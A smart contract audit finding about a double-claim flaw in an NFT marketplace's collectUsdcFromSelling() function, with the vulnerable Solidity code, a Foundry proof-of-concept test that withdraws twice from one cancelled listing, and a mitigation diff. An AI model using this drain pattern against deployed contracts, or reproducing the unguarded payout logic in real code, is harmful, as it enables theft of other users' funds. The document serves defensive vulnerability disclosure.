Repeated collectUsdcFromSelling() Calls Let A Seller Drain The Protocol’s Entire USDC Balance
Description
The intended flow is that a seller should only be able to withdraw sale proceeds once for each completed listing.
In the current implementation, collectUsdcFromSelling() never marks the claim as completed. After a listing becomes inactive, the seller can call the function repeatedly for the same listing. Each call recalculates amountToSeller, increments totalFeesCollected, and transfers funds again. If the contract holds sufficient USDC, a malicious seller can drain the entire balance over multiple transactions.
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}
Risk
Likelihood:
-
Any seller with an inactive listing can repeat the same call because there is no claimed-state check.
-
The attack is straightforward to automate and continues working until the contract runs out of USDC.
Impact:
-
A single listing can be used to claim sale proceeds multiple times.
-
The contract's entire USDC balance can be drained, including fees, collateral, and proceeds associated with other users.
Proof of Concept
The following PoC can be put in test/NFTDealersTest.t.sol:
function testCanCollectMultipleTimesToDrainFunds() public revealed whitelisted {
usdc.mint(address(nftDealers), 200_000e6);
vm.startPrank(userWithCash);
usdc.approve(address(nftDealers), 20e6);
nftDealers.mintNft();
nftDealers.list(1, 1000e6);
nftDealers.cancelListing(1);
uint256 startingBalance = usdc.balanceOf(userWithCash);
nftDealers.collectUsdcFromSelling(1);
uint256 afterFirstClaim = usdc.balanceOf(userWithCash);
nftDealers.collectUsdcFromSelling(1);
uint256 afterSecondClaim = usdc.balanceOf(userWithCash);
vm.stopPrank();
assertGt(afterFirstClaim, startingBalance);
assertGt(afterSecondClaim, afterFirstClaim);
}
Recommended Mitigation
Do not let collectUsdcFromSelling() recalculate a fresh payout from mutable listing state on every call. Instead, credit earned proceeds inside buy() and let collectUsdcFromSelling() withdraw from dedicated claim accounting, zeroing out the seller's claim before transferring funds. Once the credited amount has been consumed, repeated calls cannot withdraw anything further.
+mapping(uint256 => mapping(address => uint256)) public claimableAmount;
function buy(uint256 _listingId) external payable {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
require(listing.seller != msg.sender, "Seller cannot buy their own NFT");
activeListingsCounter--;
bool success = usdc.transferFrom(msg.sender, address(this), listing.price);
require(success, "USDC transfer failed");
_safeTransfer(listing.seller, msg.sender, listing.tokenId, "");
claimableAmount[_listingId][listing.seller] += listing.price;
s_listings[_listingId].isActive = false;
emit NFT_Dealers_Sold(msg.sender, listing.price);
}
-function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
+function collectUsdcFromSelling(uint256 _listingId) external {
+ Listing memory listing = s_listings[_listingId];
+ require(claimableAmount[_listingId][msg.sender] > 0, "No claimable proceeds");
+
+ uint256 saleAmount = claimableAmount[_listingId][msg.sender];
+ uint256 fees = _calculateFees(saleAmount);
+ uint256 amountToSeller = saleAmount - fees;
+ uint256 collateralToReturn = collateralForMinting[listing.tokenId];
+
+ claimableAmount[_listingId][msg.sender] = 0;
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(msg.sender, amountToSeller);
}
